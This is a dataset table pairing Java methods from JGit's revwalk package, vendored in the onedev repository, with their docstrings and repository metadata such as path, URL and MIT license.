code
stringlengths 25
201k
| docstring
stringlengths 19
96.2k
| func_name
stringlengths 0
235
| language
stringclasses 1
value | repo
stringlengths 8
51
| path
stringlengths 11
314
| url
stringlengths 62
377
| license
stringclasses 7
values |
|---|---|---|---|---|---|---|---|
@Override
int outputType() {
return outputType;
}
|
Remove all entries from this queue.
|
outputType
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/AbstractRevQueue.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/AbstractRevQueue.java
|
MIT
|
public long getCountOfBitmapIndexMisses() {
return countOfBitmapIndexMisses;
}
|
Return the number of objects that had to be walked because they were not covered by a
bitmap.
@return the number of objects that had to be walked because they were not covered by a
bitmap.
|
getCountOfBitmapIndexMisses
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/BitmapWalker.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/BitmapWalker.java
|
MIT
|
@Override
public final boolean include(ObjectWalk walker, AnyObjectId objid)
throws MissingObjectException, IncorrectObjectTypeException,
IOException {
return !bitmap.contains(objid);
}
|
Filter that excludes objects already in the given bitmap.
|
include
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/BitmapWalker.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/BitmapWalker.java
|
MIT
|
default List<ObjectId> getDeepenNots() {
return Collections.emptyList();
}
|
@return the objects specified by the client using --shallow-exclude
@since 5.2
|
getDeepenNots
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/DepthWalk.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/DepthWalk.java
|
MIT
|
public String getPath() {
return path.getPath();
}
|
Get the path this filter matches.
@return the path this filter matches.
|
getPath
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/FollowFilter.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/FollowFilter.java
|
MIT
|
public RenameCallback getRenameCallback() {
return renameCallback;
}
|
Get the callback to which renames are reported.
@return the callback to which renames are reported, or <code>null</code>
if none
|
getRenameCallback
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/FollowFilter.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/FollowFilter.java
|
MIT
|
public void setRenameCallback(RenameCallback callback) {
renameCallback = callback;
}
|
Sets the callback to which renames shall be reported.
@param callback
the callback to use
|
setRenameCallback
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/FollowFilter.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/FollowFilter.java
|
MIT
|
public String getName() {
return name;
}
|
Get name of this footer line.
@return name of this footer line.
|
getName
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/FooterKey.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/FooterKey.java
|
MIT
|
public boolean matches(FooterKey key) {
final byte[] kRaw = key.raw;
final int len = kRaw.length;
int bPtr = keyStart;
if (keyEnd - bPtr != len)
return false;
for (int kPtr = 0; kPtr < len;) {
byte b = buffer[bPtr++];
if ('A' <= b && b <= 'Z')
b += (byte) ('a' - 'A');
if (b != kRaw[kPtr++])
return false;
}
return true;
}
|
Whether keys match
@param key
key to test this line's key name against.
@return true if {@code key.getName().equalsIgnorecase(getKey())}.
|
matches
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/FooterLine.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/FooterLine.java
|
MIT
|
public String getEmailAddress() {
final int lt = RawParseUtils.nextLF(buffer, valStart, '<');
if (valEnd <= lt) {
final int at = RawParseUtils.nextLF(buffer, valStart, '@');
if (valStart < at && at < valEnd)
return getValue();
return null;
}
final int gt = RawParseUtils.nextLF(buffer, lt, '>');
if (valEnd < gt)
return null;
return RawParseUtils.decode(enc, buffer, lt, gt - 1);
}
|
Extract the email address (if present) from the footer.
<p>
If there is an email address looking string inside of angle brackets
(e.g. "<a@b>"), the return value is the part extracted from inside the
brackets. If no brackets are found, then {@link #getValue()} is returned
if the value contains an '@' sign. Otherwise, null.
@return email address appearing in the value of this footer, or null.
|
getEmailAddress
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/FooterLine.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/FooterLine.java
|
MIT
|
void shareFreeList(BlockRevQueue q) {
// Do nothing by default.
}
|
Connect the supplied queue to this generator's own free list (if any).
@param q
another FIFO queue that wants to share our queue's free list.
|
shareFreeList
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/Generator.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/Generator.java
|
MIT
|
public ObjectFilter getObjectFilter() {
return objectFilter;
}
|
Get the currently configured object filter.
@return the current filter. Never null as a filter is always needed.
@since 4.0
|
getObjectFilter
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/ObjectWalk.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/ObjectWalk.java
|
MIT
|
public void setVisitationPolicy(VisitationPolicy policy) {
assertNotStarted();
visitationPolicy = requireNonNull(policy);
}
|
Sets the visitation policy to use during this walk.
@param policy
the {@code VisitationPolicy} to use
@since 5.4
|
setVisitationPolicy
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/ObjectWalk.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/ObjectWalk.java
|
MIT
|
public void skipTree() {
if (currVisit != null) {
currVisit.ptr = currVisit.buf.length;
}
}
|
Skips the current tree such that {@link #nextObject()} does not return
any objects inside it. This should be called right after
{@link #nextObject()} returns the tree.
@since 5.4
|
skipTree
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/ObjectWalk.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/ObjectWalk.java
|
MIT
|
public void checkConnectivity() throws MissingObjectException,
IncorrectObjectTypeException, IOException {
for (;;) {
final RevCommit c = next();
if (c == null)
break;
}
for (;;) {
final RevObject o = nextObject();
if (o == null)
break;
if (o instanceof RevBlob && !reader.has(o))
throw new MissingObjectException(o, OBJ_BLOB);
}
}
|
Verify all interesting objects are available, and reachable.
<p>
Callers should populate starting points and ending points with
{@link #markStart(RevObject)} and {@link #markUninteresting(RevObject)}
and then use this method to verify all objects between those two points
exist in the repository and are readable.
<p>
This method returns successfully if everything is connected; it throws an
exception if there is a connectivity problem. The exception message
provides some detail about the connectivity failure.
@throws org.eclipse.jgit.errors.MissingObjectException
one or more of the next objects are not available from the
object database, but were thought to be candidates for
traversal. This usually indicates a broken link.
@throws org.eclipse.jgit.errors.IncorrectObjectTypeException
one or more of the objects in a tree do not match the type
indicated.
@throws java.io.IOException
a pack file or loose object could not be read.
|
checkConnectivity
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/ObjectWalk.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/ObjectWalk.java
|
MIT
|
public String getPathString() {
if (pathLen == 0) {
pathLen = updatePathBuf(currVisit);
if (pathLen == 0)
return null;
}
return RawParseUtils.decode(pathBuf, 0, pathLen);
}
|
Get the current object's complete path.
<p>
This method is not very efficient and is primarily meant for debugging
and final output generation. Applications should try to avoid calling it,
and if invoked do so only once per interesting entry, where the name is
absolutely required for correct function.
@return complete path of the current entry, from the root of the
repository. If the current entry is in a subtree there will be at
least one '/' in the returned string. Null if the current entry
has no path, such as for annotated tags or root level trees.
|
getPathString
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/ObjectWalk.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/ObjectWalk.java
|
MIT
|
public int getTreeDepth() {
if (currVisit == null) {
return 0;
}
return currVisit.depth;
}
|
@return the current traversal depth from the root tree object
@since 5.4
|
getTreeDepth
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/ObjectWalk.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/ObjectWalk.java
|
MIT
|
public int getPathHashCode() {
TreeVisit tv = currVisit;
if (tv == null)
return 0;
int nameEnd = tv.nameEnd;
if (nameEnd == 0) {
// When nameEnd == 0 the subtree is itself the current path
// being visited. The name hash must be obtained from its
// parent tree. If there is no parent, this is a root tree with
// a hash code of 0.
tv = tv.parent;
if (tv == null)
return 0;
nameEnd = tv.nameEnd;
}
byte[] buf;
int ptr;
if (16 <= (nameEnd - tv.namePtr)) {
buf = tv.buf;
ptr = nameEnd - 16;
} else {
nameEnd = pathLen;
if (nameEnd == 0) {
nameEnd = updatePathBuf(currVisit);
pathLen = nameEnd;
}
buf = pathBuf;
ptr = Math.max(0, nameEnd - 16);
}
int hash = 0;
for (; ptr < nameEnd; ptr++) {
byte c = buf[ptr];
if (c != ' ')
hash = (hash >>> 2) + (c << 24);
}
return hash;
}
|
Get the current object's path hash code.
<p>
This method computes a hash code on the fly for this path, the hash is
suitable to cluster objects that may have similar paths together.
@return path hash code; any integer may be returned.
|
getPathHashCode
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/ObjectWalk.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/ObjectWalk.java
|
MIT
|
public byte[] getPathBuffer() {
if (pathLen == 0)
pathLen = updatePathBuf(currVisit);
return pathBuf;
}
|
Get the internal buffer holding the current path.
@return the internal buffer holding the current path.
|
getPathBuffer
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/ObjectWalk.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/ObjectWalk.java
|
MIT
|
public void source(RevWalk w) {
walker = w;
}
|
Set the revision walker this list populates itself from.
@param w
the walker to populate from.
@see #fillTo(int)
|
source
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/RevCommitList.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/RevCommitList.java
|
MIT
|
public boolean isPending() {
return walker != null;
}
|
Is this list still pending more items?
@return true if {@link #fillTo(int)} might be able to extend the list
size when called.
|
isPending
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/RevCommitList.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/RevCommitList.java
|
MIT
|
public RevWalk getRevWalk() {
return walker;
}
|
Get the revision walk instance this flag was created from.
@return the walker this flag was allocated out of, and belongs to.
|
getRevWalk
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/RevFlag.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/RevFlag.java
|
MIT
|
public final ObjectId getId() {
return this;
}
|
Get the name of this object.
@return unique hash of this object.
|
getId
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/RevObject.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/RevObject.java
|
MIT
|
public final boolean has(RevFlag flag) {
return (flags & flag.mask) != 0;
}
|
Test to see if the flag has been set on this object.
@param flag
the flag to test.
@return true if the flag has been added to this object; false if not.
|
has
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/RevObject.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/RevObject.java
|
MIT
|
public final boolean hasAny(RevFlagSet set) {
return (flags & set.mask) != 0;
}
|
Test to see if any flag in the set has been set on this object.
@param set
the flags to test.
@return true if any flag in the set has been added to this object; false
if not.
|
hasAny
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/RevObject.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/RevObject.java
|
MIT
|
public final boolean hasAll(RevFlagSet set) {
return (flags & set.mask) == set.mask;
}
|
Test to see if all flags in the set have been set on this object.
@param set
the flags to test.
@return true if all flags of the set have been added to this object;
false if some or none have been added.
|
hasAll
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/RevObject.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/RevObject.java
|
MIT
|
public final void add(RevFlag flag) {
flags |= flag.mask;
}
|
Add a flag to this object.
<p>
If the flag is already set on this object then the method has no effect.
@param flag
the flag to mark on this object, for later testing.
|
add
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/RevObject.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/RevObject.java
|
MIT
|
public final void add(RevFlagSet set) {
flags |= set.mask;
}
|
Add a set of flags to this object.
@param set
the set of flags to mark on this object, for later testing.
|
add
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/RevObject.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/RevObject.java
|
MIT
|
public final void remove(RevFlag flag) {
flags &= ~flag.mask;
}
|
Remove a flag from this object.
<p>
If the flag is not set on this object then the method has no effect.
@param flag
the flag to remove from this object.
|
remove
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/RevObject.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/RevObject.java
|
MIT
|
public final void remove(RevFlagSet set) {
flags &= ~set.mask;
}
|
Remove a set of flags from this object.
@param set
the flag to remove from this object.
|
remove
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/RevObject.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/RevObject.java
|
MIT
|
protected void appendCoreFlags(StringBuilder s) {
s.append((flags & RevWalk.TOPO_DELAY) != 0 ? 'o' : '-');
s.append((flags & RevWalk.TOPO_QUEUED) != 0 ? 'q' : '-');
s.append((flags & RevWalk.TEMP_MARK) != 0 ? 't' : '-');
s.append((flags & RevWalk.REWRITE) != 0 ? 'r' : '-');
s.append((flags & RevWalk.UNINTERESTING) != 0 ? 'u' : '-');
s.append((flags & RevWalk.SEEN) != 0 ? 's' : '-');
s.append((flags & RevWalk.PARSED) != 0 ? 'p' : '-');
}
|
Append a debug description of core RevFlags to a buffer.
@param s
buffer to append a debug description of core RevFlags onto.
|
appendCoreFlags
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/RevObject.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/RevObject.java
|
MIT
|
public static RevTag parse(byte[] raw) throws CorruptObjectException {
return parse(new RevWalk((ObjectReader) null), raw);
}
|
Parse an annotated tag from its canonical format.
This method constructs a temporary revision pool, parses the tag as
supplied, and returns it to the caller. Since the tag was built inside of
a private revision pool its object pointer will be initialized, but will
not have its headers loaded.
Applications are discouraged from using this API. Callers usually need
more than one object. Use
{@link org.eclipse.jgit.revwalk.RevWalk#parseTag(AnyObjectId)} to obtain
a RevTag from an existing repository.
@param raw
the canonical formatted tag to be parsed.
@return the parsed tag, in an isolated revision pool that is not
available to the caller.
@throws org.eclipse.jgit.errors.CorruptObjectException
the tag contains a malformed header that cannot be handled.
|
parse
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/RevTag.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/RevTag.java
|
MIT
|
public static RevTag parse(RevWalk rw, byte[] raw)
throws CorruptObjectException {
try (ObjectInserter.Formatter fmt = new ObjectInserter.Formatter()) {
RevTag r = rw.lookupTag(fmt.idFor(Constants.OBJ_TAG, raw));
r.parseCanonical(rw, raw);
r.buffer = raw;
return r;
}
}
|
Parse an annotated tag from its canonical format.
<p>
This method inserts the tag directly into the caller supplied revision
pool, making it appear as though the tag exists in the repository, even
if it doesn't. The repository under the pool is not affected.
<p>
The body of the tag (message, tagger, signature) is always retained in
the returned {@code RevTag}, even if the supplied {@code RevWalk} has
been configured with {@code setRetainBody(false)}.
@param rw
the revision pool to allocate the tag within. The tag's object
pointer will be obtained from this pool.
@param raw
the canonical formatted tag to be parsed. This buffer will be
retained by the returned {@code RevTag} and must not be
modified by the caller.
@return the parsed tag, in an isolated revision pool that is not
available to the caller.
@throws org.eclipse.jgit.errors.CorruptObjectException
the tag contains a malformed header that cannot be handled.
|
parse
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/RevTag.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/RevTag.java
|
MIT
|
@Nullable
public final byte[] getRawGpgSignature() {
byte[] raw = buffer;
int start = getSignatureStart();
if (start < 0) {
return null;
}
return Arrays.copyOfRange(raw, start, raw.length);
}
|
Parse the GPG signature from the raw buffer.
@return contents of the GPG signature; {@code null} if the tag was not
signed.
@since 5.11
|
getRawGpgSignature
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/RevTag.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/RevTag.java
|
MIT
|
public final String getFullMessage() {
byte[] raw = buffer;
int msgB = RawParseUtils.tagMessage(raw, 0);
if (msgB < 0) {
return ""; //$NON-NLS-1$
}
int signatureStart = getSignatureStart();
int end = signatureStart < 0 ? raw.length : signatureStart;
if (end == msgB) {
return ""; //$NON-NLS-1$
}
return RawParseUtils.decode(guessEncoding(), raw, msgB, end);
}
|
Parse the complete tag message and decode it to a string.
<p>
This method parses and returns the message portion of the tag buffer,
after taking the tag's character set into account and decoding the buffer
using that character set. This method is a fairly expensive operation and
produces a new string on each invocation.
@return decoded tag message as a string. Never null.
|
getFullMessage
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/RevTag.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/RevTag.java
|
MIT
|
public final RevObject getObject() {
return object;
}
|
Get a reference to the object this tag was placed on.
<p>
Note that the returned object has only been looked up (see
{@link org.eclipse.jgit.revwalk.RevWalk#lookupAny(AnyObjectId, int)}. To
access the contents it needs to be parsed, see
{@link org.eclipse.jgit.revwalk.RevWalk#parseHeaders(RevObject)} and
{@link org.eclipse.jgit.revwalk.RevWalk#parseBody(RevObject)}.
<p>
As an alternative, use
{@link org.eclipse.jgit.revwalk.RevWalk#peel(RevObject)} and pass this
{@link org.eclipse.jgit.revwalk.RevTag} to peel it until the first
non-tag object.
@return object this tag refers to (only looked up, not parsed)
|
getObject
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/RevTag.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/RevTag.java
|
MIT
|
public final String getTagName() {
return tagName;
}
|
Get the name of this tag, from the tag header.
@return name of the tag, according to the tag header.
|
getTagName
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/RevTag.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/RevTag.java
|
MIT
|
public final byte[] getRawBuffer() {
return buffer;
}
|
Obtain the raw unparsed tag body (<b>NOTE - THIS IS NOT A COPY</b>).
<p>
This method is exposed only to provide very fast, efficient access to
this tag's message buffer. Applications relying on this buffer should be
very careful to ensure they do not modify its contents during their use
of it.
@return the raw unparsed tag body. This is <b>NOT A COPY</b>. Do not
alter the returned array.
@since 5.11
|
getRawBuffer
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/RevTag.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/RevTag.java
|
MIT
|
public final void disposeBody() {
buffer = null;
}
|
Discard the message buffer to reduce memory usage.
<p>
After discarding the memory usage of the {@code RevTag} is reduced to
only the {@link #getObject()} pointer and {@link #getTagName()}.
Accessing other properties such as {@link #getTaggerIdent()} or either
message function requires reloading the buffer by invoking
{@link org.eclipse.jgit.revwalk.RevWalk#parseBody(RevObject)}.
@since 4.0
|
disposeBody
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/RevTag.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/RevTag.java
|
MIT
|
public ObjectReader getObjectReader() {
return reader;
}
|
Get the reader this walker is using to load objects.
@return the reader this walker is using to load objects.
|
getObjectReader
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/RevWalk.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/RevWalk.java
|
MIT
|
@Override
public void close() {
if (closeReader) {
reader.close();
}
}
|
{@inheritDoc}
<p>
Release any resources used by this walker's reader.
<p>
A walker that has been released can be used again, but may need to be
released after the subsequent usage.
@since 4.0
|
close
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/RevWalk.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/RevWalk.java
|
MIT
|
public boolean hasRevSort(RevSort sort) {
return sorting.contains(sort);
}
|
Check whether the provided sorting strategy is enabled.
@param sort
a sorting strategy to look for.
@return true if this strategy is enabled, false otherwise
|
hasRevSort
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/RevWalk.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/RevWalk.java
|
MIT
|
public boolean isFirstParent() {
return firstParent;
}
|
@return whether only first-parent links should be followed when walking.
@since 5.5
|
isFirstParent
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/RevWalk.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/RevWalk.java
|
MIT
|
@NonNull
public RevBlob lookupBlob(AnyObjectId id) {
RevBlob c = (RevBlob) objects.get(id);
if (c == null) {
c = new RevBlob(id);
objects.add(c);
}
return c;
}
|
Locate a reference to a blob without loading it.
<p>
The blob may or may not exist in the repository. It is impossible to tell
from this method's return value.
@param id
name of the blob object.
@return reference to the blob object. Never null.
|
lookupBlob
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/RevWalk.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/RevWalk.java
|
MIT
|
@NonNull
public RevTree lookupTree(AnyObjectId id) {
RevTree c = (RevTree) objects.get(id);
if (c == null) {
c = new RevTree(id);
objects.add(c);
}
return c;
}
|
Locate a reference to a tree without loading it.
<p>
The tree may or may not exist in the repository. It is impossible to tell
from this method's return value.
@param id
name of the tree object.
@return reference to the tree object. Never null.
|
lookupTree
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/RevWalk.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/RevWalk.java
|
MIT
|
@NonNull
public RevTag lookupTag(AnyObjectId id) {
RevTag c = (RevTag) objects.get(id);
if (c == null) {
c = new RevTag(id);
objects.add(c);
}
return c;
}
|
Locate a reference to a tag without loading it.
<p>
The tag may or may not exist in the repository. It is impossible to tell
from this method's return value.
@param id
name of the tag object.
@return reference to the tag object. Never null.
|
lookupTag
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/RevWalk.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/RevWalk.java
|
MIT
|
@NonNull
public RevObject lookupAny(AnyObjectId id, int type) {
RevObject r = objects.get(id);
if (r == null) {
switch (type) {
case Constants.OBJ_COMMIT:
r = createCommit(id);
break;
case Constants.OBJ_TREE:
r = new RevTree(id);
break;
case Constants.OBJ_BLOB:
r = new RevBlob(id);
break;
case Constants.OBJ_TAG:
r = new RevTag(id);
break;
default:
throw new IllegalArgumentException(MessageFormat.format(
JGitText.get().invalidGitType, Integer.valueOf(type)));
}
objects.add(r);
}
return r;
}
|
Locate a reference to any object without loading it.
<p>
The object may or may not exist in the repository. It is impossible to
tell from this method's return value.
@param id
name of the object.
@param type
type of the object. Must be a valid Git object type.
@return reference to the object. Never null.
|
lookupAny
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/RevWalk.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/RevWalk.java
|
MIT
|
public RevObject lookupOrNull(AnyObjectId id) {
return objects.get(id);
}
|
Locate an object that was previously allocated in this walk.
@param id
name of the object.
@return reference to the object if it has been previously located;
otherwise null.
|
lookupOrNull
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/RevWalk.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/RevWalk.java
|
MIT
|
@NonNull
public RevTag parseTag(AnyObjectId id) throws MissingObjectException,
IncorrectObjectTypeException, IOException {
RevObject c = parseAny(id);
if (!(c instanceof RevTag))
throw new IncorrectObjectTypeException(id.toObjectId(),
Constants.TYPE_TAG);
return (RevTag) c;
}
|
Locate a reference to an annotated tag and immediately parse its content.
<p>
Unlike {@link #lookupTag(AnyObjectId)} this method only returns
successfully if the tag object exists, is verified to be a tag, and was
parsed without error.
@param id
name of the tag object.
@return reference to the tag object. Never null.
@throws org.eclipse.jgit.errors.MissingObjectException
the supplied tag does not exist.
@throws org.eclipse.jgit.errors.IncorrectObjectTypeException
the supplied id is not a tag or an annotated tag.
@throws java.io.IOException
a pack file or loose object could not be read.
|
parseTag
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/RevWalk.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/RevWalk.java
|
MIT
|
public void parseHeaders(RevObject obj)
throws MissingObjectException, IOException {
if ((obj.flags & PARSED) == 0)
obj.parseHeaders(this);
}
|
Ensure the object's critical headers have been parsed.
<p>
This method only returns successfully if the object exists and was parsed
without error.
@param obj
the object the caller needs to be parsed.
@throws org.eclipse.jgit.errors.MissingObjectException
the supplied does not exist.
@throws java.io.IOException
a pack file or loose object could not be read.
|
parseHeaders
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/RevWalk.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/RevWalk.java
|
MIT
|
public void parseBody(RevObject obj)
throws MissingObjectException, IOException {
obj.parseBody(this);
}
|
Ensure the object's full body content is available.
<p>
This method only returns successfully if the object exists and was parsed
without error.
@param obj
the object the caller needs to be parsed.
@throws org.eclipse.jgit.errors.MissingObjectException
the supplied does not exist.
@throws java.io.IOException
a pack file or loose object could not be read.
|
parseBody
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/RevWalk.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/RevWalk.java
|
MIT
|
public RevObject peel(RevObject obj) throws MissingObjectException,
IOException {
while (obj instanceof RevTag) {
parseHeaders(obj);
obj = ((RevTag) obj).getObject();
}
parseHeaders(obj);
return obj;
}
|
Peel back annotated tags until a non-tag object is found.
@param obj
the starting object.
@return If {@code obj} is not an annotated tag, {@code obj}. Otherwise
the first non-tag object that {@code obj} references. The
returned object's headers have been parsed.
@throws org.eclipse.jgit.errors.MissingObjectException
a referenced object cannot be found.
@throws java.io.IOException
a pack file or loose object could not be read.
|
peel
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/RevWalk.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/RevWalk.java
|
MIT
|
public final void retainOnReset(RevFlag flag) {
if ((freeFlags & flag.mask) != 0)
throw new IllegalArgumentException(MessageFormat.format(JGitText.get().flagIsDisposed, flag.name));
if (flag.walker != this)
throw new IllegalArgumentException(MessageFormat.format(JGitText.get().flagNotFromThis, flag.name));
retainOnReset |= flag.mask;
}
|
Preserve a RevFlag during all {@code reset} methods.
<p>
Calling {@code retainOnReset(flag)} avoids needing to pass the flag
during each {@code resetRetain()} invocation on this instance.
<p>
Clearing flags marked retainOnReset requires disposing of the flag with
{@code #disposeFlag(RevFlag)} or disposing of the entire RevWalk by
{@code #dispose()}.
@param flag
the flag to retain during all resets.
@since 3.6
|
retainOnReset
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/RevWalk.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/RevWalk.java
